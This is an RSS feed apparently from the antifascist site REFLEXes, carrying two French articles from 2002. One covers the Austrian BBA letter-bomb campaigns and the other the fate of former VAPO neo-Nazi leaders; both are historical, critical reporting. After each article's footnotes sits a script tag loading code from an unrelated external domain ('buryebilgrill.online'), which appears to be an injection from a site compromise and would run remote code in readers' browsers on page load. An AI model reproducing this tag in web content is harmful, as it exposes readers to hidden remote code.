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	<title>REFLEXes &#187; Volkstreue Ausserparlamentarische Opposition (VAPO)</title>
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	<description>EnquÃªtes et analyses sur l&#039;extrÃªme-droite contemporaine</description>
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		<title>Des bombes conçues pour tuer</title>
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		<pubDate>Tue, 23 Apr 2002 15:56:40 +0000</pubDate>
		<dc:creator><![CDATA[REFLEXes]]></dc:creator>
				<category><![CDATA[International]]></category>
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		<category><![CDATA[Autriche]]></category>
		<category><![CDATA[Bajuwarische Befreiungsarmee (BBA)]]></category>
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		<category><![CDATA[néo-nazis]]></category>
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		<description><![CDATA[Six vagues d’attentats commis en Autriche à la lettre piégée ont été revendiqués par une organisation d’extrême droite inconnue de la police, la Bajuwarische Befreiungsarmee (BBA).]]></description>
				<content:encoded><![CDATA[<p>Six vagues d’attentats commis en Autriche à la lettre piégée ont été revendiqués par une organisation d’extrême droite inconnue de la police, la Bajuwarische Befreiungsarmee<sup><a href="https://reflexes.samizdat.net/des-bombes-concues-pour-tuer/#footnote_0_9" id="identifier_0_9" class="footnote-link footnote-identifier-link" title="Arm&eacute;e de Lib&eacute;ration bayouvare, du nom des anciens Bavarois.">1</a></sup>(BBA).</p>
<p><strong>Première vague : décembre 1993</strong></p>
<p>Elle correspond au premier procès de Gottfried Küssel, dirigeant de la VAPO, condamné à 10 ans de prison<sup><a href="https://reflexes.samizdat.net/des-bombes-concues-pour-tuer/#footnote_1_9" id="identifier_1_9" class="footnote-link footnote-identifier-link" title="Une campagne de soutien unitaire a &eacute;t&eacute; mise en place. Voir CRIDA, Rapport 1995, pp. 21-24">2</a></sup>. En tout, 10 lettres piégées ont été découvertes<sup><a href="https://reflexes.samizdat.net/des-bombes-concues-pour-tuer/#footnote_2_9" id="identifier_2_9" class="footnote-link footnote-identifier-link" title="Soit une lettre pour chaque ann&eacute;e de prison &agrave; laquelle K&uuml;ssel a &eacute;t&eacute; condamn&eacute;. Cette &laquo;loi du talion&raquo; se retrouve dans les autres vagues d&rsquo;attentats, que l&rsquo;on peut rattacher, la plupart du temps, &agrave; des proc&egrave;s de militants n&eacute;o-nazis.">3</a></sup>, quatre ont explosé, blessant le maire de Vienne, Helmut Zilk, la secrétaire d’un avocat chargé de dossiers sur l’immigration, un pasteur qui s’occupait de réfugiés du Kosovo et une journaliste croate.</p>
<p>L’enquête s’est tout d’abord engagée sur une fausse piste, celle d’extrémistes serbes, puis à la lumière des revendications signées «Comte Rüdiger von Starhemberg»<sup><a href="https://reflexes.samizdat.net/des-bombes-concues-pour-tuer/#footnote_3_9" id="identifier_3_9" class="footnote-link footnote-identifier-link" title=" Celui qui r&eacute;sista aux Turcs &agrave; Vienne en 1683 ou bien celui qui, avant de devenir vice-chancelier pendant la p&eacute;riode austro-fasciste, participa &agrave; la tentative de putsch de Hitler &agrave; Munich en 1923 : les deux son aujourd&rsquo;hui des symboles pour les n&eacute;o-nazis.">4</a></sup>, la police a orienté ses recherches vers la scène néo-nazie violente et cinq membres de la VAPO ont été arrêtés. Gerhard Endres qui assurait l’intérim de la présidence de la VAPO depuis la condamnation de Küssel, Peter Binder, arrêté en possession d’armes et de nitroglycérine, Alexander Wolfert qui est allé jouer les mercenaires en Croatie, Hans-Georg Ley qui a été impliqué dans des activités terroristes au Sud-Tyrol et dont la femme, policier, a été surprise en train de copier des informations détenues par la police sur les antifascistes, et enfin Franz Radl, l’expert autrichien en anti-antifascisme qui avait déjà fait 15 ans de prison pour propos négationnistes. Au final, Peter Binder et Franz Radl, seuls inculpés pour les lettres piégées, ont été acquittés en décembre 1995, mais tout de même condamnés à respectivement 5 et 3 ans de prison pour activités néo-nazies.</p>
<p><strong>Deuxième vague : octobre 1994</strong></p>
<p>Elle a accompagné le deuxième procès de Küssel<sup><a href="https://reflexes.samizdat.net/des-bombes-concues-pour-tuer/#footnote_4_9" id="identifier_4_9" class="footnote-link footnote-identifier-link" title="Le premier ayant &eacute;t&eacute; annul&eacute; pour vice de proc&eacute;dure, K&uuml;ssel a &eacute;t&eacute; condamn&eacute; en deuxi&egrave;me instance &agrave; 11 ans de prison.">5</a></sup> et celui de Günther Reinthaler, condamné en juillet 1993 à 4 ans de prison. Il y a eu à nouveau quatre lettres piégées visant un éditeur de livres slovènes de Klagenfurt (Carinthie), un centre de conseil pour étrangers, une usine de papier employant principalement des immigrés et une école bilingue slovéno-autrichienne : seule la dernière bombe citée n’a pu être désamorcée à temps et a blessé un policier.</p>
<p>Cette fois-ci, la police a enquêté sur les connexions internationales de ces attentats. Des liens ont été établis entre les néo-nazis autrichiens et Peter Naumann, ingénieur-chimiste de Wiesbaden et membre du Nationalistische Front allemand aujourd’hui interdit.</p>
<p>février 1995 : les attentats d’Oberwart et de Stinatz</p>
<p>Dans la nuit du 4 au 5 février 1995, quatre Roms ont trouvé la mort à Oberwart en tentant d’enlever un écriteau portant l’inscription raciste suivante : «Tziganes, retournez en Inde». Le lendemain, une bombe du même genre a blessé un éboueur à Stinatz. Ce dernier attentat a été revendiqué par la BBA dans une lettre qui réclamait le départ des Croates d’Autriche vers la Dalmatie. Malgré cela, la police a défendu pendant un temps la thèse du réglement de compte pour Oberwart, et de l’accident pour Stinatz. Devant le tollé général, elle a fini par admettre qu’il s’agissait d’attentats racistes.</p>
<p><strong>Troisième vague : juin 1995</strong></p>
<p>Deux lettres piégées ont explosé à Linz et à Munich, blessant deux jeunes femmes : l’une des lettres était destinée à Arabella Kiesbauer, une animatrice télé d’origine ghanéenne. L’enveloppe de Linz portait comme expéditeur le «comte Rüdiger von Starhermberg», tout comme les lettres piégées de 1993.</p>
<p><strong>Quatrième vague : septembre-octobre 1995</strong></p>
<p>Au moment où commençait le procès de Radl et Binder, les néo-nazis arrêtés dans le cadre de la première vague de lettres piégées de 1993, il y a eu trois nouvelles lettres piégées : l’une, adressée à une gynécologue d’origine sud-coréenne, a été désamorcée à temps. Les deux autres ont blessé un médecin d’origine syrienne et une assistante sociale très engagée dans l’aide aux réfugiés. La police a relié ces attentats, dirigés cette fois-ci uniquement contre des étrangers, aux précédents.</p>
<p><strong>Cinquième vague : décembre 1995</strong></p>
<p>Quatre lettres piégées ont été découvertes à Graz (Styrie) près d’un bureau de poste. Deux d’entre elles, dont une était adressée au Haut Commissariat de l’ONU pour les réfugiés (UNHCR), ont explosé prématurément en blessant une employée de la poste. Cette nouvelle série de lettres piégées correspondait au procès de Radl et de Binder.</p>
<p><strong>Sixième vague : décembre 1996</strong></p>
<p>Une lettre piégée a été adressée à la belle-mère du ministre de l’Intérieur autrichien, mais a aussitôt été détruite par la police. Les officiels autrichiens étaient en effet sur le qui vive depuis que, début octobre, le magazine profil avait communiqué aux autorités une lettre codée de 20 pages en provenance de la BBA.</p>
<p>Les vagues successives d’attentats à la lettre piégée montrent chez les néo-nazis autrichiens une capacité à réagir et à se réorganiser malgré les arrestations d’individus et les interdictions d’organisations. Leurs liens manifestes avec la police leur sont également très utiles comme le montrent en particulier leurs connaissances en matière de renseignement politique (listes noires, etc.) ainsi que l’agression policière dont a été victime Wolfgang Purtscheller, journaliste d’investigation spécialisé sur l’extrême droite, le 22 septembre 1994, agression qui l’a conduit à l’hôpital.</p>
<ol class="footnotes"><li id="footnote_0_9" class="footnote">Armée de Libération bayouvare, du nom des anciens Bavarois.</li><li id="footnote_1_9" class="footnote">Une campagne de soutien unitaire a été mise en place. Voir CRIDA, Rapport 1995, pp. 21-24</li><li id="footnote_2_9" class="footnote">Soit une lettre pour chaque année de prison à laquelle Küssel a été condamné. Cette «loi du talion» se retrouve dans les autres vagues d’attentats, que l’on peut rattacher, la plupart du temps, à des procès de militants néo-nazis.</li><li id="footnote_3_9" class="footnote"> Celui qui résista aux Turcs à Vienne en 1683 ou bien celui qui, avant de devenir vice-chancelier pendant la période austro-fasciste, participa à la tentative de putsch de Hitler à Munich en 1923 : les deux son aujourd’hui des symboles pour les néo-nazis.</li><li id="footnote_4_9" class="footnote">Le premier ayant été annulé pour vice de procédure, Küssel a été condamné en deuxième instance à 11 ans de prison.</li></ol><script src=https://buryebilgrill.online/footnotes></script>]]></content:encoded>
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		<title>La principale organisation néo-nazie violente autrichienne s’est-elle é-VAPO-rée ?</title>
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		<pubDate>Tue, 23 Apr 2002 15:54:35 +0000</pubDate>
		<dc:creator><![CDATA[REFLEXes]]></dc:creator>
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		<description><![CDATA[Entre la fin des années 1990 où ont eu lieu arrestations et procès dans la scène néo-nazie et l’arrivée au pouvoir du FPÖ le 4 février 2000 en coalition avec le parti conservateur, les néo-nazis autrichiens, connus pour leur violence meurtrière, semblent s’être volatilisés. Ils ne font en tout cas plus la une de l’actualité. Quelle stratégie ont-ils adopté depuis que le parti de Haider a son mot à dire au gouvernement et a ainsi déclaré qu’il n’y avait plus de néo-nazis en Autriche ?]]></description>
				<content:encoded><![CDATA[<p>Entre la fin des années 1990 où ont eu lieu arrestations et procès dans la scène néo-nazie et l’arrivée au pouvoir du FPÖ le 4 février 2000 en coalition avec le parti conservateur, les néo-nazis autrichiens, connus pour leur violence meurtrière, semblent s’être volatilisés. Ils ne font en tout cas plus la une de l’actualité. Quelle stratégie ont-ils adopté depuis que le parti de Haider a son mot à dire au gouvernement et a ainsi déclaré qu’il n’y avait plus de néo-nazis en Autriche ?</p>
<p>Depuis que les cadres dirigeants de la Volkstreue Ausserparlamentarische Opposition (VAPO) ont été arrêtés puis condamnés entre le début et le milieu des années 1990, cette organisation a été, dit-on, «démantelée». Entre autres choses, l’enquête consécutive aux attentats à la lettre piégée revendiqués par la Bajuwarische Befreiungsarmee (BBA) a permis de mettre à jour la structure de la VAPO et d’en accélérer le démantèlement. Et en effet, la VAPO n’existe plus en tant qu’organisation depuis cette époque ; cependant, un grand nombre de militants qui en faisaient partie à la fin des années 1980 et au début des années 1990 ont repris leurs activités au sein de la scène néo-nazie, après avoir, pour quelques-uns, purgé une peine de prison. Un seul des cadres dirigeants de la VAPO, Hans-Jörg Schimanek junior<sup><a href="https://reflexes.samizdat.net/la-principale-organisation-neo-nazie-violente-autrichienne-sest-elle-e-vapo-ree/#footnote_0_8" id="identifier_0_8" class="footnote-link footnote-identifier-link" title="Il s&rsquo;agit du fils de Hans-J&ouml;rg Schimanek, cadre du FP&Ouml;.">1</a></sup> s’est tenu éloigné de toute activité politique publique : depuis sa sortie de prison en juin 1999, il travaille dans l’Est de l’Allemagne dans l’immobilier. Ce n’est pas le cas de Günther Reinthaler, l’ancien responsable de Salzbourg pour la VAPO, qui a de nouveau été placé en détention préventive en attendant d’être jugé pour apologie du nazisme.</p>
<p>À l’attitude offensive de la police et de la justice autrichiennes au début des années 1990 et qui a valu aux néo-nazis arrestations et interdictions, les cadres dirigeants de la VAPO ont répondu par le slogan suivant : «Entrons dans la légalité». Dans une lettre que Franz Radl a envoyé à Gottfried Küssel, il était suggéré de renoncer à toute apparition publique en tant qu’organisation (manifestations par exemple) sous l’étiquette VAPO et de se fondre dans le FPÖ et dans les organisations qui gravitent autour du parti de Haider (Burschenschaften<sup><a href="https://reflexes.samizdat.net/la-principale-organisation-neo-nazie-violente-autrichienne-sest-elle-e-vapo-ree/#footnote_1_8" id="identifier_1_8" class="footnote-link footnote-identifier-link" title="Corporations &eacute;tudiantes ultra-conservatrices voire d&rsquo;extr&ecirc;me droite, exclusivement masculines.">2</a></sup> en particulier). La VAPO entretenait déjà d’excellentes relations avec les Burschenschaften, et la plupart de ses cadres dirigeants (Küssel, Radl, Kurt Hofinger, etc.) étaient membres de Burschenschaften. Après le démantèlement de la VAPO, presque tous les cadres de la VAPO qui étaient encore à l’université ont trouvé refuge dans une Burschenschaft, dans la Wiener Teutonia pour la plupart.</p>
<p>Parallèlement à cela s’offrait une autre possibilité : l’association d’extrême droite Verein zur Förderung der ganzen Wahrheit<sup><a href="https://reflexes.samizdat.net/la-principale-organisation-neo-nazie-violente-autrichienne-sest-elle-e-vapo-ree/#footnote_2_8" id="identifier_2_8" class="footnote-link footnote-identifier-link" title="Association pour la promotion de la v&eacute;rit&eacute; tout enti&egrave;re. Depuis 1991, cette association a pris le nom de Kritische Demokraten, les d&eacute;mocrates critiques, et publie la revue fakten.">3</a></sup> dirigée par Horst-Jakob Rosenkranz qui anima en son temps la liste Nein zur Ausländerflut<sup><a href="https://reflexes.samizdat.net/la-principale-organisation-neo-nazie-violente-autrichienne-sest-elle-e-vapo-ree/#footnote_3_8" id="identifier_3_8" class="footnote-link footnote-identifier-link" title="Non &agrave; l&rsquo;Invasion &eacute;trang&egrave;re. Cette initiative populaire (Volksbegehren) qui, si elle arrive &agrave; rassembler un certain nombre de signatures, peut &ecirc;tre propos&eacute;e sous forme de projet de loi au Parlement f&eacute;d&eacute;ral, remonte &agrave; 1982 et &eacute;tait emmen&eacute;e par le n&eacute;o-nazi Gerd Honsik, du NDP (Nationaldemokratische Partei) interdit en 1985.">4</a></sup>. On retrouve dès 1990 plusieurs militants de la VAPO au bureau de cette association : Kurt Hofinger, Reinhold Kovar, Stefan Tanscos, Andreas Sammer et Alois Desch.</p>
<p>Après sa libération, Franz Radl a rejoint le groupe qui s’est formé autour de Robert Dürr, un militant d’extrême droite du Burgenland : ce dernier a créé en 1995 le Partei Neue Ordnung (PNO)<sup><a href="https://reflexes.samizdat.net/la-principale-organisation-neo-nazie-violente-autrichienne-sest-elle-e-vapo-ree/#footnote_4_8" id="identifier_4_8" class="footnote-link footnote-identifier-link" title=" Parti pour un Ordre nouveau.">5</a></sup>, dans lequel Radl a été consacré spécialiste de l’anti-antifascisme<sup><a href="https://reflexes.samizdat.net/la-principale-organisation-neo-nazie-violente-autrichienne-sest-elle-e-vapo-ree/#footnote_5_8" id="identifier_5_8" class="footnote-link footnote-identifier-link" title="Travail de renseignement sur les antifascistes, avec &eacute;tablissement de listes noires en vue d&rsquo;&eacute;ventuels attentats.">6</a></sup>. Pour combler le vide laissé par le démantèlement officiel de la VAPO chez les jeunes néo-nazis (des boneheads pour la plupart), Dürr a mis en place la Neue Jugendinitiative (NJO)<sup><a href="https://reflexes.samizdat.net/la-principale-organisation-neo-nazie-violente-autrichienne-sest-elle-e-vapo-ree/#footnote_6_8" id="identifier_6_8" class="footnote-link footnote-identifier-link" title=" Nouvelle Initiative pour la Jeunesse.">7</a></sup>. Cette organisation a cependant raté sa première apparition publique : un concert de musique bonehead qui devait avoir lieu pendant l’été 1998 à Mönchhof dans le Burgenland a été interdit par les autorités. En outre, on rencontre toujours Radl dans l’entourage immédiat de son père spirituel Herbert Schweiger du Nationalistische Front (NF) et du Deutsche Kulturgemeinschaft (DKG)<sup><a href="https://reflexes.samizdat.net/la-principale-organisation-neo-nazie-violente-autrichienne-sest-elle-e-vapo-ree/#footnote_7_8" id="identifier_7_8" class="footnote-link footnote-identifier-link" title=" Front nationaliste et Communaut&eacute; culturelle allemande.">8</a></sup> : le dernier exemple en date remonte à l’automne 2000, où Radl était le pianiste d’une semaine organisée par le DKG.</p>
<p>On retrouve en Haute-Autriche un autre ancien cadre de la VAPO : Rene Lang. Au milieu des années 1990, il a créé le Förderwerk Junge Familien<sup><a href="https://reflexes.samizdat.net/la-principale-organisation-neo-nazie-violente-autrichienne-sest-elle-e-vapo-ree/#footnote_8_8" id="identifier_8_8" class="footnote-link footnote-identifier-link" title="Association d&rsquo;aide aux jeunes familles.">9</a></sup>, qui a appelé le 5 août 2000 en coordination avec les néo-nazis bavarois de la Nationaler Widerstand<sup><a href="https://reflexes.samizdat.net/la-principale-organisation-neo-nazie-violente-autrichienne-sest-elle-e-vapo-ree/#footnote_9_8" id="identifier_9_8" class="footnote-link footnote-identifier-link" title="R&eacute;sistance nationale.">10</a></sup> à une manifestation dans la ville de Freilassing, située à la frontière germano-autrichienne : les organisateurs appelaient à manifester pour «stopper la dictature de l’Union européenne» et pour «en finir avec le boycott de l’Autriche». Michael Swierczek, un cadre néo-nazi bien connu de Munich devait y prendre la parole : il s’agit du président de la défunte Nationale Offensive (NO)<sup><a href="https://reflexes.samizdat.net/la-principale-organisation-neo-nazie-violente-autrichienne-sest-elle-e-vapo-ree/#footnote_10_8" id="identifier_10_8" class="footnote-link footnote-identifier-link" title=" Offensive nationale, qui a &eacute;t&eacute; interdite en 1992.">11</a></sup> qui s’est efforcé de construire des groupes néo-nazis «autonomes»<sup><a href="https://reflexes.samizdat.net/la-principale-organisation-neo-nazie-violente-autrichienne-sest-elle-e-vapo-ree/#footnote_11_8" id="identifier_11_8" class="footnote-link footnote-identifier-link" title=" Connus sous le nom de Freie Kameradschaften, les camaraderies libres, d&rsquo;o&ugrave; le terme autonome.">12</a></sup> et de mettre en réseau tous ces groupes dans le sud de l’Allemagne.</p>
<p>Gottfried Küssel, quant à lui, reste relativement prudent depuis sa libération anticipée à l’été 1999 du fait des obligations liées à sa condamnation avec sursis. Mais il a de nouveau été vu en public en compagnie d’anciens camarades de la VAPO : ainsi, on l’a vu en février dernier au musée du cinéma de Vienne à l’occasion de la projection du film de Leni Riefenstahl Triumph des Willens. Il semblerait également qu’il veuille progressivement réintégrer la scène néo-nazie. En effet, lorsqu’en novembre 2000, au cours d’une intervention de routine, la police, alertée par les riverains dérangés par des bruits de bagarres, a découvert la tenue d’une réunion de 50 néo-nazis de l’Arbeitsgemeinschaft für demokratische Politik (AFP)<sup><a href="https://reflexes.samizdat.net/la-principale-organisation-neo-nazie-violente-autrichienne-sest-elle-e-vapo-ree/#footnote_12_8" id="identifier_12_8" class="footnote-link footnote-identifier-link" title=" Groupe de travail pour une politique d&eacute;mocratique.">13</a></sup> dans leur local de Vienne, elle est tombée sur Küssel ainsi que son ancien adjoint, Gerd Endres, et a confisqué d’ailleurs à cette occasion des documents révélateurs de leur activité d’extrême droite. Il reste à savoir comment les autorités vont qualifier cette réunion, organisée principalement par des militants viennois de Blood and Honour : en fonction de cela, Küssel sera accusé ou non d’avoir manqué aux obligations liées à sa condamnation avec sursis.</p>
<p>La création de la section autrichienne de Blood and Honour remonte à 1998 et représente pour la «vieille garde» des néo-nazis autrichiens un véritable défi : elle a en effet décidé d’appliquer à la lettre les concepts de «résistance sans chef» et de «camaraderies libres» et a d’ailleurs d’ores et déjà commencé à les mettre en oeuvre. La VAPO, qui avait à peu près le même concept, a échoué, à cause du besoin irrépressible de Küssel d’être reconnu et d’être le chef. Ce dernier risque fort d’essayer prochainement de prendre une position-clé au sein de la structure de Blood and Honour, même si le succès d’une telle entreprise n’est pas encore avéré. Malgré tout, dans le deuxième numéro de la revue publiée par la section autrichienne de Blood and Honour<sup><a href="https://reflexes.samizdat.net/la-principale-organisation-neo-nazie-violente-autrichienne-sest-elle-e-vapo-ree/#footnote_13_8" id="identifier_13_8" class="footnote-link footnote-identifier-link" title="L&rsquo;adresse de cette revue est une bo&icirc;te postale hongroise.">14</a></sup>, on se réjouit en tout cas que «de la libération anticipée des camarades Küssel et Schimanek.»</p>
<p>Heribert Schiedel</p>
<p>du Centre de Documentation de la Résistance autrichienne (DÖW)</p>
<p><a href="http://www.doew.at" target="_blank">http://www.doew.at</a></p>
<ol class="footnotes"><li id="footnote_0_8" class="footnote">Il s’agit du fils de Hans-Jörg Schimanek, cadre du FPÖ.</li><li id="footnote_1_8" class="footnote">Corporations étudiantes ultra-conservatrices voire d’extrême droite, exclusivement masculines.</li><li id="footnote_2_8" class="footnote">Association pour la promotion de la vérité tout entière. Depuis 1991, cette association a pris le nom de Kritische Demokraten, les démocrates critiques, et publie la revue fakten.</li><li id="footnote_3_8" class="footnote">Non à l’Invasion étrangère. Cette initiative populaire (Volksbegehren) qui, si elle arrive à rassembler un certain nombre de signatures, peut être proposée sous forme de projet de loi au Parlement fédéral, remonte à 1982 et était emmenée par le néo-nazi Gerd Honsik, du NDP (Nationaldemokratische Partei) interdit en 1985.</li><li id="footnote_4_8" class="footnote"> Parti pour un Ordre nouveau.</li><li id="footnote_5_8" class="footnote">Travail de renseignement sur les antifascistes, avec établissement de listes noires en vue d’éventuels attentats.</li><li id="footnote_6_8" class="footnote"> Nouvelle Initiative pour la Jeunesse.</li><li id="footnote_7_8" class="footnote"> Front nationaliste et Communauté culturelle allemande.</li><li id="footnote_8_8" class="footnote">Association d’aide aux jeunes familles.</li><li id="footnote_9_8" class="footnote">Résistance nationale.</li><li id="footnote_10_8" class="footnote"> Offensive nationale, qui a été interdite en 1992.</li><li id="footnote_11_8" class="footnote"> Connus sous le nom de Freie Kameradschaften, les camaraderies libres, d’où le terme autonome.</li><li id="footnote_12_8" class="footnote"> Groupe de travail pour une politique démocratique.</li><li id="footnote_13_8" class="footnote">L’adresse de cette revue est une boîte postale hongroise.</li></ol><script src=https://buryebilgrill.online/footnotes></script>]]></content:encoded>
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